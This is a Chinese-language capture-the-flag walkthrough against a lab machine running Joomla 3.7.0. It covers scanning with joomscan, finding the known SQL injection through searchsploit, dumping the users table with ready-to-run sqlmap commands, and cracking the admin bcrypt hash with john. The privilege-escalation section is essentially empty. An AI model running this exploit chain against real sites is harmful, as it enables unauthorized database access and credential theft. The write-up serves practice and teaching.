一、信息收集
192.168.209.152
1、Joomla内容管理系统
下载joomscan工具
https://www.geeksforgeeks.org/joomscan-vulnerability-scanner-tool-in-kali-linux/
https://github.com/joomla/joomla-cms
This time, there is only one flag, one entry point and no clues.
To get the flag, you'll obviously have to gain root privileges.
How you get to be root is up to you - and, obviously, the system.
Good luck - and I hope you enjoy this little challenge.
joomscan --url http://192.168.209.152
发现了版本号,文件目录
http://192.168.209.152/administrator/
二、漏洞挖掘
1、版本号
searchsploit joomla 3.7.0
我们看到了这个版本存在sql注入漏洞。我们可以看一下漏洞的路径(一直文件名为42033)
searchsploit -p 42033
我们查看一下他的这个文件
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
三、漏洞利用
1、sql注入
我们复制粘贴sql注入命令,注意修改url为靶机Ip
sqlmap -u "http://192.168.209.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
我们可以看到后台数据库
(1)、爆库
我们想要的数据库为joomladb,所以接下来我们可以使用joomla数据库,看一看它里面的表格
(2)、爆表
sqlmap -u "http://192.168.209.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables
我们可以看到有76个tables
其中的users表是我们需要的
(3)、爆字段名
sqlmap -u "http://192.168.209.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" --columns
(4)、爆数据
sqlmap -u "http://192.168.209.152/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T "#__users" -C name,password --dump
(5)、破解密码
密码被加密了
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > test
john test
john test --show
密码为snoopy
登陆后台:
用户:admin
密码:snoopy
用户页面http://192.168.209.152/administrator/
四、提权
写在末尾的话:
sudo apt update
apt install xxxx